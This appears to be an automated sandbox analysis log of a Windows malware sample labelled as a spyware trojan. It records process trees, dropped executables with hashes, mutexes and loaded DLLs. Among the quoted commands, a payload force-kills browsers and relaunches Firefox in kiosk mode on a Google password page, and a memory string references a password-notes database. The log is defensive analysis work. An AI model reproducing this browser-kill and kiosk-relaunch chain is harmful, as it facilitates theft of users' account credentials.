Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F0C1 9_3_0145F0C1
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F1CD 9_3_0145F1CD
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F1CD 9_3_0145F1CD
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F1CD 9_3_0145F1CD
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F1CD 9_3_0145F1CD
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F0C1 9_3_0145F0C1
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F0C1 9_3_0145F0C1
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F0C1 9_3_0145F0C1
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F0C1 9_3_0145F0C1
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F1CD 9_3_0145F1CD
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F1CD 9_3_0145F1CD
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F1CD 9_3_0145F1CD
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F1CD 9_3_0145F1CD
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F0C1 9_3_0145F0C1
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F0C1 9_3_0145F0C1
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F0C1 9_3_0145F0C1
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F0C1 9_3_0145F0C1
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F1CD 9_3_0145F1CD
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F1CD 9_3_0145F1CD
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F1CD 9_3_0145F1CD
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F1CD 9_3_0145F1CD
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F0C1 9_3_0145F0C1
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F0C1 9_3_0145F0C1
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F0C1 9_3_0145F0C1
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F0C1 9_3_0145F0C1
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F1CD 9_3_0145F1CD
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F1CD 9_3_0145F1CD
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F1CD 9_3_0145F1CD
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F1CD 9_3_0145F1CD
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F0C1 9_3_0145F0C1
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F0C1 9_3_0145F0C1
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F0C1 9_3_0145F0C1
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F0C1 9_3_0145F0C1
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F1CD 9_3_0145F1CD
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F1CD 9_3_0145F1CD
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F1CD 9_3_0145F1CD
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F1CD 9_3_0145F1CD
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe 22D27367946299F0AF143B358FD3883BE24CDDEA3C40CAB15F6F96B906BCA976
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe 9561F2E19612F381DFBE538BA59F4F6F4CEFE5D0D0F26F0B7FA1FCD095B9F708
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe DE661C359365B8B0C0287FDC01881B208744ACA0341A21BC271970975BF91307
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: file.exe Static PE information: Section: ZLIB complexity 0.9976370912806539
Source: file.exe Static PE information: Section: brwftgiw ZLIB complexity 0.9945341117216118
Source: skotes.exe.0.dr Static PE information: Section: ZLIB complexity 0.9976370912806539
Source: skotes.exe.0.dr Static PE information: Section: brwftgiw ZLIB complexity 0.9945341117216118
Source: random[1].exe0.6.dr Static PE information: Section: ZLIB complexity 0.9992699795081967
Source: random[1].exe0.6.dr Static PE information: Section: ackgsmri ZLIB complexity 0.9945644946808511
Source: 5a0a40fcc4.exe.6.dr Static PE information: Section: ZLIB complexity 0.9992699795081967
Source: 5a0a40fcc4.exe.6.dr Static PE information: Section: ackgsmri ZLIB complexity 0.9945644946808511
Source: random[1].exe1.6.dr Static PE information: Section: wkrmqwho ZLIB complexity 0.9946027695407542
Source: eec95b2021.exe.6.dr Static PE information: Section: wkrmqwho ZLIB complexity 0.9946027695407542
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@68/25@41/14
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:760:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3436:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1132:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6720:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5784:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2568:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3852:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3920:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1052:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2980:120:WilError_03
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\abc3bc1985 Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008259001\4.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: 5a0a40fcc4.exe, 00000009.00000003.3082693327.00000000059E8000.00000004.00000800.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000009.00000003.3052205185.00000000059C5000.00000004.00000800.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000009.00000003.3047778880.00000000059E4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 5a0a40fcc4.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: eec95b2021.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 5a0a40fcc4.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\user\Desktop\file.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe "C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe "C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe "C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe "C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe"
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2192 -parentBuildID 20230927232528 -prefsHandle 2112 -prefMapHandle 2096 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {750650e9-e209-44b6-bb3c-47acf66379da} 6648 "\\.\pipe\gecko-crash-server-pipe.6648" 2a10096f510 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2876 -parentBuildID 20230927232528 -prefsHandle 3420 -prefMapHandle 3860 -prefsLen 26172 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {39076872-d65e-4403-9d30-b1c75cb754c1} 6648 "\\.\pipe\gecko-crash-server-pipe.6648" 2a100943510 rdd
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe "C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe "C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe "C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe"
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe "C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008259001\4.exe "C:\Users\user\AppData\Local\Temp\1008259001\4.exe"
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Windows\System32\conhost.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2132 -parentBuildID 20230927232528 -prefsHandle 2076 -prefMapHandle 2072 -prefsLen 25350 -prefMapSize 238051 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ac626ae4-a8ef-4a9b-b94f-13fbda008662} 5268 "\\.\pipe\gecko-crash-server-pipe.5268" 12bb4f70510 socket
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe "C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe "C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe "C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe "C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe "C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008259001\4.exe "C:\Users\user\AppData\Local\Temp\1008259001\4.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking Jump to behavior
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2192 -parentBuildID 20230927232528 -prefsHandle 2112 -prefMapHandle 2096 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {750650e9-e209-44b6-bb3c-47acf66379da} 6648 "\\.\pipe\gecko-crash-server-pipe.6648" 2a10096f510 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2876 -parentBuildID 20230927232528 -prefsHandle 3420 -prefMapHandle 3860 -prefsLen 26172 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {39076872-d65e-4403-9d30-b1c75cb754c1} 6648 "\\.\pipe\gecko-crash-server-pipe.6648" 2a100943510 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2132 -parentBuildID 20230927232528 -prefsHandle 2076 -prefMapHandle 2072 -prefsLen 25350 -prefMapSize 238051 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ac626ae4-a8ef-4a9b-b94f-13fbda008662} 5268 "\\.\pipe\gecko-crash-server-pipe.5268" 12bb4f70510 socket
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: explorerframe.dll Jump to behavior
